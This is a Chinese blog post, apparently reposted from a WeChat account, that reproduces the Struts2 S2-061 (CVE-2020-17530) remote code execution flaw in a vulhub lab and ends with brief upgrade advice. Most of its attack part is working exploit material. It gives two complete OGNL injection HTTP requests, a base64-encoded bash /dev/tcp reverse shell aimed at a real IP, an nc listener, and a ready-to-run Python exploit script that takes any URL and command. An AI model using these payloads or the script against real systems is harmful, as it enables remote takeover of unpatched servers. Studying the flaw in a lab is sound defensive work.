CVE-2020-17530Struts2(S2-061)远程命令执行

admin 2022年10月1日20:40:14安全漏洞评论17 views7533字阅读25分6秒阅读模式

一、漏洞介绍

0x01 Apache Struts2框架介绍

          Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。它是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

0x02 S2-061漏洞介绍

          Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。Struts2 会对某些标签属性(比如 id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

二、影响范围

Apache Struts 2.0.0 - 2.5.25

三、漏洞复现

0x01 环境搭建

(1):下载最新的vulhub

https://github.com/vulhub/vulhub

CVE-2020-17530Struts2(S2-061)远程命令执行

(2):启动docker环境

cd vulhub/struts2/s2-061/docker-compose up -d

CVE-2020-17530Struts2(S2-061)远程命令执行

(3):访问该端口

CVE-2020-17530Struts2(S2-061)远程命令执行

0x02 漏洞利用

 (1):验证漏洞是否存在

http://xxx.xxx.xxx.xxx?id=%25%7b+%27再见%27+%2b+(2000+%2b+20).toString()%7d

CVE-2020-17530Struts2(S2-061)远程命令执行

如上执行了命令,说明漏洞存在。

(2):执行命令

①:第一种payload

POST /index.action HTTP/1.1Host: xxx.xxx.xxx.xxx:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 827
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

CVE-2020-17530Struts2(S2-061)远程命令执行

②:第二种payload

POST /index.action HTTP/1.1Host: xxx.xxx.xxx.xxx:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1361
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

CVE-2020-17530Struts2(S2-061)远程命令执行

(3):反弹shell

①进行编码

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1

进行bash编码

编码网站http://www.jackson-t.ca/runtime-exec-payloads.htmlbash编码之后的内容bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMTU4LjE0Ny8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

②进行监听

nc -lvp 1234

CVE-2020-17530Struts2(S2-061)远程命令执行

③反弹shell

POST /index.action HTTP/1.1Host: 116.62.106.123:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1365
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMTU4LjE0Ny8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'}))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

CVE-2020-17530Struts2(S2-061)远程命令执行

成功反弹shell。

0x03脚本利用

(1):基于python2的脚本

# encoding=utf-8import requestsimport sysfrom lxml import etree
def exp(url,cmd): payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+cmd+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d" tturl=url+"/?id="+payload r=requests.get(tturl) page=r.text# etree=html.etree page=etree.HTML(page) data = page.xpath('//a[@id]/@id') print(data[0])

if __name__=='__main__': print('+------------------------------------------------------------+') print('+ EXP: python struts2-061-poc.py http://8.8.8.8:8080 id +') print('+ VER: Struts 2.0.0-2.5.25 +') print('+------------------------------------------------------------+') print('+ S2-061 RCE && CVE-2020-17530 +') print('+------------------------------------------------------------+') if len(sys.argv)!=3: print("[+]ussage: http://ip:port command") print("[+]============================================================") sys.exit() url=sys.argv[1] cmd=sys.argv[2]exp(url,cmd)
python2 s2-061 http://xxx.xxx.xxx.xxx cmd

CVE-2020-17530Struts2(S2-061)远程命令执行

四、修复建议

0x01 及时更新Apache Struts框架版本

https://struts.apache.org/download.cgi#struts2526

CVE-2020-17530Struts2(S2-061)远程命令执行

原文始发于微信公众号(想走安全的小白):CVE-2020-17530Struts2(S2-061)远程命令执行

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日20:40:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CVE-2020-17530Struts2(S2-061)远程命令执行 http://cn-sec.com/archives/886177.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: